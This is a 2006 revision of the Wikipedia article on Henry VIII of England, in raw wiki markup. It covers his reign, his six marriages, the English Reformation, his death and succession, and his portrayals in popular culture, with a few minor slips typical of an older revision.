    <title>Henry VIII of England</title>
    <id>14187</id>
    <revision>
      <id>42093586</id>
      <timestamp>2006-03-03T20:03:09Z</timestamp>
      <contributor>
        <ip>81.96.69.118</ip>
      </contributor>
      <text xml:space="preserve">{|align=right
|
{| class=&quot;infobox&quot; style=&quot;float:right;margin:0 0 1em 1em;font-size:90%;clear:right;&quot; cellspacing=&quot;5&quot;
|+ style=&quot;text-align:center; font-size:larger;&quot; | '''His Majesty King Henry VIII'''
|-
| colspan=&quot;2&quot; style=&quot;padding-bottom:1em;text-align:center;&quot; |  [[Image:Hans Holbein d. J. 049.jpg|200px]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Reign'''
| style=&quot;vertical-align: top; text-align: left;&quot; |  [[22 April]][[1509]] - [[28 January]][[1547]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Predecessor'''
| style=&quot;vertical-align: top; text-align: left;&quot; |  [[Henry VII of England|Henry VII]] 
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Successor'''
| style=&quot;vertical-align: top; text-align: left;&quot; |  [[Edward VI of England|Edward VI]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Spouses'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[Catherine of Aragon]]&lt;br&gt;[[Anne Boleyn]]&lt;br&gt;[[Jane Seymour]]&lt;br&gt;[[Anne of Cleves]]&lt;br&gt;[[Catherine Howard]]&lt;br&gt;[[Catherine Parr]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Issue'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[Mary I of England|Mary I]]&lt;br&gt;[[Elizabeth I of England|Elizabeth I]]&lt;br&gt;[[Edward VI of England|Edward VI]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Royal House'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[House of Tudor|Tudor]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Father'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[Henry VII of England|Henry VII]] 
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Mother'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[Elizabeth of York]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Born'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[28 June]], [[1491]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Died'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[28 January]], [[1547]]
|}
|-
|{{House of Tudor}}
|}
'''Henry VIII''' ([[28 June]] [[1491]] &amp;ndash; [[28 January]] [[1547]]) was [[Kingdom of England|King of England]] and [[Lordship of Ireland|Lord of Ireland]] (later [[King of Ireland]]) from [[22 April]] [[1509]] until his death. He was the second monarch of the [[Tudor dynasty]], succeeding his father, [[Henry VII of England|Henry VII]]. He is famous for having been [[Wives of Henry VIII|married six times]] and for wielding the most untrammeled power of any British monarch.  Notable events during his reign included the break with [[Roman Catholic Church|Rome]] and the subsequent establishment of the independent [[Church of England]], the [[Dissolution of the Monasteries]], and the union of [[England]] and [[Wales]].

Several significant pieces of legislation were enacted during Henry VIII's reign.  They included the several Acts which severed the English Church from the [[Roman Catholic Church]] &lt;!--He broke with ROMAN Catholicism but not with Catholicism. Edward VI broke with Catholicism.--&gt; and established Henry as the supreme head of the Church in England, the [[Laws in Wales Acts 1535-1542]] (which united England and Wales into one nation), the [[Buggery Act 1533]], the first anti-[[sodomy]] enactment in England; and the [[Witchcraft Act|Witchcraft Act 1542]], which punished 'invoking or conjuring an evil spirit' with death.

Henry VIII is known to have been an avid [[gambling|gambler]] and [[dice]] player. He excelled at sport, especially jousting, hunting, and [[real tennis|royal tennis]], during his youth. He was also an accomplished musician, author, and [[poetry|poet]]; his best known piece of music is ''[[Pastyme With Good Company]]'' (The Kynges Ballade). Henry VIII was also involved in the construction-from-scratch and improvement of several significant buildings, including [[Nonsuch Palace]], [[King's College, Cambridge|King's College Chapel]] and [[Westminster Abbey]] - the existing buildings improved were often properties confiscated from [[Thomas Cardinal Wolsey|Wolsey]] (such as [[Christ Church, Oxford]], [[Hampton Court Palace]] and [[palace of Whitehall]]). 

==Early life==  
[[Image:The Palace of Placentia.jpg|thumb|left|&lt;small&gt;The future Henry VIII was born at the Palace of Placentia in Greenwich in 1491.&lt;/small&gt;]]
Born at the [[Palace of Placentia]] at [[Greenwich]], Henry VIII was the third child of [[Henry VII of England|Henry VII]] and [[Elizabeth of York]]. Only three of Henry VII's six siblings: [[Arthur, Prince of Wales|Arthur]] (the [[Prince of Wales]]), [[Margaret Tudor|Margaret]] and [[Mary Tudor (queen consort of France)|Mary]], survived infancy. His [[House of Lancaster|Lancastrian]] father acquired the throne by [[right of conquest]], his army defeating and killing the last [[Plantagenet]] king [[Richard III of England|Richard III]], but further solidified his hold by marrying Elizabeth, the daughter of the [[Yorkist]] king [[Edward IV of England|Edward IV]]. In 1493, the young Henry was appointed Constable of [[Dover Castle]] and Lord Warden of the [[Cinque Ports]]. In 1494, he was created [[Duke of York]]. He was subsequently appointed [[Earl Marshal]] of England and [[Lord Lieutenant of Ireland]], though still a child.

In 1501 he attended the wedding of his elder brother Arthur and [[Catherine of Aragon]], who were at the time only about fifteen and sixteen years old, respectively. The two were sent to spend time in [[Wales]], as was customary for the heir-apparent and his wife, but Arthur caught an infection and died. Consequently, at the age of eleven, Henry, Duke of York, found himself heir-apparent to the Throne. Soon thereafter, he was created [[Prince of Wales]].

Henry VII was still eager to maintain the marital alliance between England and [[Spain]] through a marriage between Henry, Prince of Wales, and Catherine. Since the Prince of Wales sought to marry his brother's widow, he first had to obtain a dispensation from the [[Pope]] from the impediment of affinity. Catherine maintained that her first marriage was never consummated; if she were correct, no papal dispensation would have been necessary, but merely a dissolution of ratified marriage. Nonetheless, both the English and Spanish parties agreed on the necessity of a papal dispensation for the removal of all doubts regarding the legitimacy of the marriage. Due to the impatience of Catherine's mother, Queen [[Isabella of Castile|Isabella]], the Pope hastily granted his dispensation in a [[papal bull|Papal Bull]]. Thus, fourteen months after her husband's death, Catherine found herself engaged to his brother, the Prince of Wales. By 1505, however, Henry VII lost interest in an alliance with Spain, and the young Prince of Wales was forced to declare that his betrothal had been arranged without his assent.

==Early reign== 
Henry VIII ascended the throne in 1509 upon his father's death. Catherine's father, the [[Aragon|Aragonese]] King [[Ferdinand II of Aragon|Ferdinand II]], sought to control England through his daughter, and consequently insisted on her marriage to the new English King.  Henry VIII wed Catherine of Aragon about nine weeks after his accession on [[June 11]] [[1509]] at [[Greenwich]], despite the concerns of [[Pope Julius II]] and [[William Warham]], the [[Archbishop of Canterbury]], regarding the marriage's validity.  They were both [[coronation|crowned]] at [[Westminster Abbey]] on [[24 June]] [[1509]].  Queen Catherine's first pregnancy ended in a miscarriage in 1510.  She gave birth to a son, Henry, on [[1 January]] [[1511]], but he only lived until [[February 22]].
{{Infobox_UKkingstyles|royal name=King Henry VIII of England|dipstyle=[[Majesty|His Majesty]] (first English king to use ''Majesty'')|offstyle=Your Majesty|altstyle=Sir}}
Upon his accession, Henry was faced with the problematic issues posed by [[Richard Empson]] and [[Edmund Dudley]], two nobles of [[Henry VII of England|Henry VII]]'s reign who imposed heavy arbitrary taxes on the nobility. In one of the many ways in which he tried to separate himself from the principles of his father's reign, he had them imprisoned in the [[Tower of London]] and later beheaded. Henry's constant willing for war would prove to be another way in which he undertook to distance himself from [[Henry VII of England|Henry VII]]'s reign, his predecessor favouring peace.
[[Image:Henry7-new.jpg|thumb|left|Anonymous portrait of Henry VIII c. 1509]]
{|align=&quot;right&quot;

For two years after Henry's accession, [[Richard Fox]], the [[Bishop of Winchester]] and [[Lord Privy Seal]], and William Warham controlled matters of state.  From 1511 onwards, however, power was held by the ecclesiastic [[Thomas Cardinal Wolsey|Thomas Wolsey]].  In 1511, Henry joined the [[Catholic League (Italian)|Holy League]], a body of European rulers opposed to the French King [[Louis XII of France|Louis XII]]. The League also included such European rulers as Pope Julius II, the Holy Roman Emperor [[Maximilian I, Holy Roman Emperor|Maximilian I]]  and Ferdinand II, with whom Henry also signed the [[Treaty of Westminster (1511)|Treaty of Westminster]].  Henry personally joined the English Army as they crossed the [[English Channel]]  into France, and took part in sieges and battles.

In 1514, however, Ferdinand left the alliance, and the other parties made peace with the French.  Irritation towards Spain led to discussion of a divorce with Queen Catherine.  However, upon the accession of the French King [[Francis I of France|Francis I]] in 1515, England and France grew antagonistic, and Henry became reconciled with Ferdinand.  In 1516, Queen Catherine gave birth to a girl, [[Mary I of England|Mary]], encouraging Henry in the belief that he could still have a male heir despite his wife's previous failed pregnancies (one stillbirth, one miscarriage and two short-lived infants).

Ferdinand died in 1516, to be succeeded by his grandson (Queen Catherine's nephew) [[Charles V, Holy Roman Emperor|Charles V]].  By October 1518, Wolsey had engineered the Papacy-led Treaty of London to resemble an English triumph of foreign diplomacy, placing England at the centre of a new European alliance with the ostensible aim of repelling Moorish invasions through Spain, which was the Pope's original aim. In 1519, when Maximilian also died, Wolsey, who was by that time a [[Cardinal (Catholicism)|Cardinal]], secretly proposed Henry as a candidate for the post of Holy Roman Emperor, though supporting the French King Francis in public. In the end, however, the [[prince-elector]]s  settled on Charles. The subsequent rivalry between Francis and Charles allowed Henry to act as a mediator between them. Henry came to hold the balance of power in Europe. Both Francis and Charles sought Henry's favour, the former in a dazzling and spectacular manner at the [[Field of Cloth of Gold]], and the latter more solemnly at [[Kent]]. After 1521, however, England's influence in Europe began to wane. Henry entered into an alliance with Charles V through the [[Treaty of Bruges]], and Francis I was defeated by Charles' imperial armies at the [[Battle of Pavia]] in February 1525. Charles' reliance on Henry subsided, as did England's power in Europe, and Henry was refused help to acquire the [[Fleur-de-Lys]], despite Charles' guarantees. This lead to the [[Treaty of Westminster]] in 1527.

Henry's interest in European affairs extended to the attack on Luther's German revolution. In 1521, he dedicated his [[Defence of the Seven Sacraments]], which earned him the title of &quot;Defender of the Faith&quot; (Defensor Fidei). Prior to this, his title had been &quot;inclitissimus&quot;, meaning &quot;most illustrious&quot;. The later title was maintained even after his break with Rome, and is still used by the British monarch today.

==The King's Great Matter==
Henry VIII's accession was the first peaceful one England had witnessed in many years; however, the new Tudor dynasty's legitimacy could yet be tested. The English people seemed distrustful of female rulers, and Henry felt that only a male heir could secure the throne. Although Queen Catherine had been pregnant at least seven times (for the last time in 1518), only one child, the Princess Mary, had survived beyond infancy. Henry had previously been happy with mistresses, including [[Mary Boleyn]] and [[Elizabeth Blount]], with whom he had had an illegitimate son, [[Henry Fitzroy, 1st Duke of Richmond and Somerset|Henry Fitzroy]]. In 1526, when it became clear that Queen Catherine could have no further children, he began to pursue Mary Boleyn's sister, [[Anne Boleyn|Anne]]. Although it was almost certainly Henry's desire for a male heir that made him determined to divorce Catherine, he was very infatuated with Anne, despite her child-bearing inexperience and famously plain looks.
{{Template:Henryviiiwives}}
Henry's long and arduous attempt to end his marriage to Queen Catherine became known as &quot;The King's Great Matter&quot;. Cardinal Wolsey and William Warham quietly began an inquiry into the validity of her marriage to Henry. Queen Catherine, however, testified that her marriage to Arthur, Prince of Wales had never been consummated, and that there was therefore no impediment to her subsequent marriage to Henry. The inquiry could proceed no further, and was dropped.

Without informing Cardinal Wolsey, Henry directly appealed to the [[Holy See]]. He sent his secretary [[William Knight (royal servant)|William Knight]] to [[Rome]] to argue that Julius II's Bull was obtained by trickery, and consequently void. In addition, he requested Pope [[Clement VII]] (1523&amp;ndash;34) to grant a dispensation allowing him to marry any woman, even in the first degree of affinity; such a dispensation was necessary because Henry had previously had intercourse with Anne Boleyn's sister Mary.  Knight found that Pope Clement VII was practically the prisoner of the Emperor Charles V.  He had difficulty gaining access to the Pope, and when he finally did, he could accomplish little. Clement VII did not agree to annul the marriage, but he did grant the desired dispensation, probably presuming that the dispensation would be of no effect as long as Henry remained married to Catherine.

Being advised of the King's predicament, Cardinal Wolsey sent [[Stephen Gardiner]] and [[Edward Fox]] to Rome. Perhaps fearing Queen Catherine's nephew, Charles V, Pope Clement VII initially demurred.  Fox was sent back with a commission authorising the commencement of proceedings, but the restrictions imposed made it practically meaningless. Gardiner strove for a &quot;decretal commission&quot;, which decided the points of law beforehand, and left only questions of fact to be decided. Clement VII was persuaded to accept Gardiner's proposal, and permitted Cardinal Wolsey and [[Lorenzo Cardinal Campeggio]] to try the case jointly. His decretal commission was issued in secret; it was not to be shown to anybody, and was to always remain in Cardinal Campeggio's possession. Points of law were already settled in the commission; the Papal Bull authorising Henry's marriage to Catherine was to be declared void if the grounds alleged therein were false. For instance, the Bull would be void if it falsely asserted that the marriage was absolutely necessary to maintain the Anglo-Spanish alliance.

Cardinal Campeggio arrived in England in 1528. Proceedings, however, were brought to a halt when the Spanish produced a second document allegedly granting the necessary dispensation.  It was asserted that, a few months before he had granted papal dispensation in a public Bull, Pope Julius II had secretly granted the same in a private Brief sent to Spain.  The decretal commission, however, only made mention of the Bull; it did not authorise Cardinal Campeggio and Cardinal Wolsey to determine the validity of the Brief and for eight months, the parties wrangled over its' authenticity. During the spring of 1529, Henry's legal team assembled the ''libelus'' (the summary of Henry's royal arguments, including Lev: 2021) that was presented before the papal legates, where the following may be observed: 18 June, 1529 'The Queen was summoned to the great hall of the Black Friar's convent in London. The King, on a raised platform, sat at the upper end. Some distance away Catherine was given her place. The Cardinals, sitting lower than the King, flanked the royal presence, and near them the Archbishop of Canterbury and the bishops were given position. Doctor Sampson, afterwards [[Bishop of Chichester]], and Doctor [[John Bell]], afterwards [[Bishop of Worcester]], led those who pleaded for the King. Representing the Queen was [[John Fisher]] [[Bishop of Rochester]], and Doctor Standish, a Gray Friar and Bishop of St. Asaph.' Following a series of deliberations, the matter was appealed to Rome, primarily after Catherine's nephew, Charles V, pressured the Pope into recalling Cardinal Campeggio and Catherine was then placed in the care of [[Sir Edmund Bedingfield]] at [[Kimbolton Castle]].

Angered with Cardinal Wolsey for the delay, Henry stripped him of his wealth and power. He was charged with ''[[præmunire]]'' &amp;mdash; undermining the King's authority by agreeing to represent the Pope &amp;mdash; but died on his way to trial. With Cardinal Wolsey fell other powerful ecclesiastics in England; laymen were appointed to offices such as those of [[Lord Chancellor]] and Lord Privy Seal, which were formerly confined to clergymen. 

Power then passed to [[Thomas More|Sir Thomas More]] (the new Lord Chancellor), [[Thomas Cranmer]] (the Archbishop of Canterbury), and [[Thomas Cromwell, 1st Earl of Essex]] (the [[Secretary of State (United Kingdom)|Secretary of State]]). On [[25 January]] [[1533]], Cranmer participated in the wedding of Henry and Anne Boleyn. In May, Cranmer pronounced Henry's marriage to Catherine void, and shortly thereafter declared the marriage to Anne valid. The Princess Mary was deemed illegitimate, and was replaced as heiress-presumptive by Queen Anne's new daughter, the [[Elizabeth I of England|Princess Elizabeth]]. Catherine lost the title &quot;Queen&quot;, and became the [[Dowager]] Princess of Wales; Mary was no longer a &quot;Princess&quot;, but a mere &quot;Lady&quot;. The Dowager Princess of Wales would die of cancer in 1536.

Sir Thomas More, who had left office in 1532, accepted that Parliament could make Anne Queen, but refused to acknowledge its religious authority. Instead, he held that the Pope remained the head of the Church. As a result, he was charged with [[high treason]], and beheaded in 1535. Judging him to be a [[martyr]], the Catholic Church later made him a [[saint]].

==Religious upheaval==
{{anglicanism}}
{{main|English Reformation}}
The Pope responded to these events by [[excommunication|excommunicating]] Henry in July 1533. Considerable religious upheaval followed. Urged by [[Thomas Cromwell, 1st Earl of Essex|Thomas Cromwell]], Parliament passed several Acts that sealed the breach with Rome in the spring of 1534. The [[Statute in Restraint of Appeals]] prohibited appeals from English ecclesiastical courts to the Pope. It also prevented the Church from making any regulations without the King's consent. The [[Ecclesiastical Appointments Act 1534]] required the clergy to elect Bishops nominated by the Sovereign. The [[Act of Supremacy|Act of Supremacy 1534]] declared that the King was &quot;the only Supreme Head in Earth of the Church of England&quot;; the [[Treasons Act 1534]] made it [[high treason]], punishable by death, to refuse to acknowledge the King as such. The Pope was denied sources of revenue such as [[Peter's Pence]].

Rejecting the decisions of the Pope, Parliament validated the marriage between Henry and Anne with the [[English Act of Succession|Act of Succession 1534]]. Catherine's daughter, the Lady Mary, was declared illegitimate, and Anne's issue were declared next in the line of succession. All adults were required to acknowledge the Act's provisions; those who refused to do so were liable to imprisonment for life. The publisher or printer of any literature alleging that Henry's marriage to Anne was invalid was automatically guilty of high treason, and could be punished by death.

Opposition to Henry's religious policies was quickly suppressed. Several dissenting monks were tortured and executed. Cromwell, for whom was created the post of &quot;[[Vicegerent in Spirituals]]&quot;, was authorised to visit monasteries, ostensibly to ensure that they followed royal instructions, but in reality to assess their wealth. In 1536, an Act of Parliament allowed Henry to seize the possessions of the lesser monasteries (those with annual incomes of £200 or less). 

In 1536, Queen Anne began to lose Henry's favour. After the Princess Elizabeth's birth, Queen Anne had two pregnancies that ended in either miscarriage or stillbirth. Henry VIII, meanwhile, had begun to turn his attentions to another lady of his court, [[Jane Seymour]]. Perhaps encouraged by Thomas Cromwell, Henry had Anne arrested on charges of using [[witchcraft]] to trap Henry into marrying her, of having adulterous relationships with five other men, of [[incest]] with her brother [[George Boleyn, Viscount Rochford]], of injuring the King and of conspiring to kill him, which amounted to treason; the charges were most likely fabricated. The court trying the case was presided over by Anne's own uncle, [[Thomas Howard, 3rd Duke of Norfolk]]. In May 1536, the Court condemned Anne and her brother to death, either by [[execution by burning|burning at the stake]] or by [[decapitation]], whichever the King pleased. The other four men Queen Anne had allegedly been involved with were to be [[Drawing and quartering|hanged, drawn and quartered]]. Lord Rochford was beheaded soon after the trial ended; the four others implicated had their sentences commuted from hanging, drawing and quartering to decapitation. Anne was also beheaded soon thereafter.

==Birth of a Prince==
Only days after Anne's execution in 1536, Henry married Jane Seymour. The [[English Act of Succession|Act of Succession 1536]] declared Henry's children by Queen Jane to be next in the line of succession, and declared both the Lady Mary and the Lady Elizabeth illegitimate, thus excluding them. The King was granted the power to further determine the line of succession in his [[will (law)|will]]. Jane gave birth to a son, the [[Edward VI of England|Prince Edward]], in 1537, and died two weeks thereafter. After Jane's death, the entire court mourned with Henry for some time. Henry also considered her to be his only &quot;true&quot; wife, being the only one who had given him the male heir he so desperately sought.

==Major Acts==
At about the same time as his marriage to Jane Seymour, Henry granted his assent to the [[Laws in Wales Acts 1535-1542|Laws in Wales Act 1535]], which legally annexed Wales, uniting England and Wales into one nation. The Act provided for the sole use of English in official proceedings in Wales, inconveniencing the numerous speakers of the [[Welsh language]].

Henry continued with his persecution of his religious opponents. In 1536, an uprising known as the [[Pilgrimage of Grace]] broke out in [[Northern England]]. To appease the rebellious Roman Catholics, Henry agreed to allow Parliament to address their concerns. Furthermore, he agreed to grant a general pardon to all those involved. He kept neither promise, and a second uprising occurred in 1537. As a result, the leaders of the rebellion were convicted of treason and executed. In 1538, Henry sanctioned the destruction of shrines to Roman Catholic Saints. In 1539, England's remaining monasteries were all dissolved, and their property transferred to the Crown. As a reward for his role, Thomas Cromwell was created [[Earl of Essex]]. [[Abbot]]s and [[prior]]s lost their seats in the [[House of Lords]]; only archbishops and bishops came to comprise the ecclesiastical element of the body. The [[Lord Spiritual|Lords Spiritual]], as members of the clergy with seats in the House of Lords were known, were for the first time outnumbered by the [[Peerage|Lords Temporal]].

==Later years==
[[Image:Anne_of_Cleves_(Hans_Holbein).jpg|right|thumbnail|Henry was shown the above picture of [[Anne of Cleves]].]]

Henry's only surviving son, the Prince Edward, Duke of Cornwall, was not a healthy child.  Therefore, Henry desired to marry once again to ensure that a male could succeed him.  Thomas Cromwell, 1st Earl of Essex suggested [[Anne of Cleves|Anne]], the sister of the Protestant [[Duchy of Cleves|Duke of Cleves]], who was seen as an important ally in case of a Roman Catholic attack on England.  [[Hans Holbein the Younger]] was dispatched to Cleves to paint a portrait of Anne for the King.  After regarding Holbein's flattering portrayal, and urged by the complimentary description of Anne given by his courtiers, Henry agreed to wed Anne. On Anne's arrival in England, Henry is said to have found her utterly unattractive, privately calling her a &quot;Flanders Mare&quot;. She was painted totally without any signs of her pockmarked face. Nevertheless, he married her on [[6 January]] [[1540]].

Soon thereafter, however, Henry desired to end the marriage, not only because of his personal feelings but also because of political considerations. The Duke of Cleves had become engaged in a dispute with the Holy Roman Emperor, with whom Henry had no desire to quarrel. Queen Anne was intelligent enough not to impede Henry's quest for an annulment. She testified that her marriage was never consummated. Henry was said to have come into the room each night and merely kissed his new bride on the forehead before sleeping. The marriage was subsequently annulled on the grounds that Anne had previously been contracted to marry another European nobleman. She received the title of &quot;The King's Sister&quot;, and was granted [[Hever Castle]], the former residence of Anne Boleyn's family. The Earl of Essex, meanwhile, fell out of favour for his role in arranging the marriage, and was subsequently [[attainder|attainted]] and beheaded. The office of Vicegerent in Spirituals, which had been specifically created for him, was not filled, and still remains vacant.

On [[28 July]] [[1540]] (the same day Lord Essex was executed) Henry married the young [[Catherine Howard]], Anne Boleyn's first cousin. Soon after her marriage, however, Queen Catherine may have had an affair with the courtier, [[Thomas Culpeper]]. She also employed [[Francis Dereham]], who was previously informally engaged to her and had an affair with her prior to her marriage, as her secretary. Thomas Cranmer, who was opposed to the powerful Catholic Howard family, brought evidence of Queen Catherine's activities to the King's notice.  Though Henry originally refused to believe the allegations, he allowed Cranmer to conduct an investigation, which resulted in Queen Catherine's implication. When questioned, the Queen could have admitted a prior contract to marry Dereham, which would have made her subsequent marriage to Henry invalid, but she instead claimed that Dereham had forced her to enter into an adulterous relationship. Dereham, meanwhile, exposed Queen Catherine's relationship with Thomas Culpeper.

In December 1541, Culpeper and Dereham were executed. Catherine was condemned not by a trial, but by an [[Act of Attainder]] passed by Parliament. The Act recited the evidence against the Queen, and Henry would have been obliged to listen to the entire text before granting the [[Royal Assent]]. Because &quot;the repetition of so grievous a Story and the recital of so infamous a crime&quot; in the King's presence &quot;might reopen a Wound already closing in the Royal Bosom&quot;, a special clause permitting Commissioners to grant the Royal Assent on the King's behalf was inserted in the Act. This method of granting the Royal Assent had never been used before, but, in later reigns, it came to replace the traditional personal appearance of the Sovereign in Parliament.

Catherine's marriage was annulled shortly before her execution.  As was the case with Anne Boleyn, Catherine Howard could not have technically been guilty of adultery, as the marriage was officially null and void from the beginning.  Again, this point was ignored, and Catherine was executed on [[13 February]] [[1542]].  She was only about eighteen years old at the time.

Henry married his last wife, the wealthy widow [[Catherine Parr]], in 1543.  She argued with Henry over religion; she was a Protestant, but Henry remained a Catholic. This behaviour almost led to her undoing, but she saved herself by a show of submissiveness.  She helped reconcile Henry with his first two daughters, the Lady Mary and the Lady Elizabeth.  In 1544, an Act of Parliament put them back in the line of succession after the Prince Edward, Duke of Cornwall, though they were still deemed illegitimate.  The same Act allowed Henry to determine further succession to the throne in his will.

A [[mnemonic]] for the fates of Henry's wives is &quot;divorced, beheaded, died, divorced, beheaded, survived&quot;. An alternative version is &quot;King Henry the Eighth, to six wives he was wedded: One died, one survived, two divorced, two beheaded&quot;. The [[doggerel]], however, may be misleading.  Firstly, Henry was never divorced from any of his wives; rather, his marriages to them were annulled. Secondly, four marriages &amp;mdash; not two &amp;mdash; ended in annulments. The marriages to Anne Boleyn and Catherine Howard were annulled shortly before their executions. Ironically the annulments undermined the process under which Boleyn and Howard were executed: annulments operate on the basis that there had never been a marriage. If they had never been married to him, they could not have committed adultery, one of the central charges brought against them. However this technicality did not stop their execution.

==Death and succession==
[[Image:The Old Palace of Whitehall by Hendrik Danckerts.jpg|thumb|&lt;small&gt;King Henry VIII died in the Palace of Whitehall in 1547.&lt;/small&gt;]]
Later in life, Henry was grossly overweight, with a waist measurement of 54 inches (137 cm), and possibly suffered from [[gout]].  The well known theory that he suffered from [[syphilis]] was first promoted approximately 100 years after his death. More recent support for this idea has come from  a greater understanding of the disease and has led to the suggestion that [[Edward VI]], [[Mary I]], and [[Elizabeth I]] all displayed symptoms characteristic of [[congenital syphilis]]. Henry's increased size dates from a [[jousting]] accident in 1536.  He suffered a thigh wound which not only prevented him from taking exercise, but also gradually became ulcerated and may have indirectly led to his death, which occurred on [[28 January]] [[1547]] at the [[Palace of Whitehall]].  He died on what would have been his father's 90th birthday.  Henry VIII was buried in [[St. George's Chapel, Windsor|St George's Chapel]] in [[Windsor Castle]], next to his wife Jane Seymour. Within a little more than a decade after his death, all three of his children sat on the English throne. 

Under the [[English Act of Succession|Act of Succession]] 1544, Henry's only surviving son, Edward, inherited the Crown, becoming [[Edward VI of England|Edward VI]]. Edward was the first [[Protestant]] monarch to rule England. Since Edward was only nine years old at the time, he could not exercise actual power. Henry's will designated sixteen [[executor]]s to serve on a council of regency until Edward reached the age of eighteen. The executors chose [[Edward Seymour, 1st Duke of Somerset|Edward Seymour, 1st Earl of Hertford]], Jane Seymour's elder brother, to be [[Lord Protector]] of the Realm.  In the event of a death without children, Edward was to be succeeded (in default of his issue) by Henry VIII's daughter by Catherine of Aragon, the [[Mary I of England|Lady Mary]].  If the Lady Mary did not have children, she was to be succeeded by his daughter by Anne Boleyn, the Lady Elizabeth. Finally, if the Lady Elizabeth also did not have children, she was to be followed by the descendants of Henry VIII's deceased sister, [[Mary Tudor (queen consort of France)|Mary Tudor]], [[Earl of Suffolk|Duchess of Suffolk]].

==Legacy==
In modern times, Henry VIII has become one of the most popular historical kings of the English monarchy. This is mainly based on the common perception of his larger than life character as an over-eating, womanising ''bon vivant'', which in turn is based on somewhat exaggerated or apocryphal stories of his life. In 2002, Henry VIII placed 40th in a [[BBC]]-sponsored poll on the [[100 Greatest Britons]].

Along with [[Alfred the Great]], Henry is traditionally called one of the founders of the [[Royal Navy]].  There are good reasons for this - his reign featured some naval warfare and, more significantly, large royal investment in shipbuilding (including a few spectacular '[[great ship]]s' such as the [[Mary Rose]]), dockyards (such as [[HMNB Portsmouth]]) and naval innovations (eg the use of [[cannon]] onboard ship - although [[archers]] were still deployed on medieval-style [[forecastle]]s and bowcastles as the ship's primary armament on large ships, or co-armament where cannon were used). However, it is a misnomer since Henry did not bequeath to his immediate successors a '[[navy]]' in the sense of a formalised organisation with structures, ranks, formalised munitioning structures etc, but only in the sense of a set of ships (albeit some spectacular ones).  [[Elizabeth I]] still had to cobble together a set of privately-owned ships to fight off the [[Spanish Armada]] and in the former, formal sense the modern British [[navy]], the [[Royal Navy]], is largely a product of the naval side of the [[Napoleonic wars]]).

By his break with [[Roman Catholic Church|Rome]], Henry incurred the threat of a large-scale French or Spanish invasion.  To guard against this he strengthened existing coastal defence fortresses (such as [[Dover Castle]] and, also at [[Dover, Kent|Dover]], [[Moat Bulwark]] and [[Archcliffe Fort]] - he personally visited for a few months to supervise, as is commemorated in the modern exhibition in [[Dover Castle]]'s keep there).  He also built a chain of new 'castles' (in fact, large bastioned and garrisoned gun batteries) along Britain's southern coast from [[East Anglia]] to [[Cornwall]], largely built of material gained from the [[Dissolution of the Monasteries|demolition of monasteries]].  Also known as [[Henry VIII of England|Henry VIII]]'s [[Device Forts]]

==In popular culture==

===Stage drama===
Henry VIII was the subject of [[William Shakespeare]]'s historical play, ''[[Henry VIII (play)|Henry VIII: All Is True]]'', written once it was safe to do so (once his daughter [[Elizabeth I]] had died). The play, however, has never been one of Shakespeare's more popular plays. Curiously, it was ''Henry VIII'' that was playing on [[June 29]] [[1613]] when the [[Globe Theatre]] burnt down.  (Ironically, in another period play in which he might be expected to appear - the Jacobean play ''[[Thomas More (play)|Thomas More]]'', by [[William Shakespeare]] and others -  he is always an offstage presence, mentioned but never seen.)

The most notable modern example is [[Robert Bolt]]'s play and film ''[[A Man for All Seasons]]'' (see also 'Cinematic films', below).

===Cinematic films===
There have been many films about Henry and his court. Two that bear mention are ''[[The Private Life of Henry VIII]]'' ([[1933 in film|1933]]), starring [[Charles Laughton]], whose performance earned him an [[Academy Award for Best Actor|Academy Award]], and ''[[The Six Wives of Henry VIII]]'' ([[1972 in television|1972]]), starring [[Keith Michell]]. [[Richard Burton]] and [[Genevieve Bujold]] were nominated for Academy Awards for [[Best Actor]] and [[Best Actress]] for their roles as Henry VIII and Anne Boleyn in ''[[Anne of the Thousand Days]]'' ([[1969 in film|1969]]). Henry, played by [[Robert Shaw]], also appears as one of the main characters in the multiple-[[Academy Award|Oscar]]-winning movie about [[Thomas More]], ''[[A Man for All Seasons]]'' ([[1966 in film|1966]]), based upon [[Robert Bolt]]'s play of the same name.

[[Sid James]] played Henry in the movie ''[[Carry On films|Carry On Henry]]'' ([[1970 in film|1970]]), which portrayed the relationship between the King and two fictitious wives (&quot;Marie of [[Normandy]]&quot; and &quot;Bettina&quot;, a mistress). 

===TV &amp;ndash; fiction===
He has also been a TV stalwart, both in drama and documentary, and in America and the UK.  In drama, one notable example is the 1970 BBC series [http://www.amazon.com/exec/obidos/tg/detail/-/6302676185 'the Six Wives of Henry VIII'], made up of six television plays, one per wife, each by a different author.  Another is [http://www.imdb.com/title/tt0382737/ the 2003 [[ITV]] feature-length ''Henry VIII''], with [[Ray Winstone]] as Henry VIII, critically panned for Henry as an East End gangster, spoken in Winstone's usual [[Cockney]] tones, surrounded entirely by a court speaking in [[Received Pronunciation]], such as [[David Suchet]] as [[Thomas Cardinal Wolsey|Wolsey]].

An episode of the 1960s American [[situation comedy|sitcom]] ''[[Bewitched]]'' had Samantha Stevens staving off a lustful Henry's intentions to make her his next wife.   Henry's life was the subject of the famous but inaccurate ''[[The Simpsons|Simpsons]]'' television episode named &quot;''[[Margical History Tour]]''&quot; in [[2004 in television|2004]], in which [[Homer Simpson]] played the King.

===TV &amp;ndash; documentary===
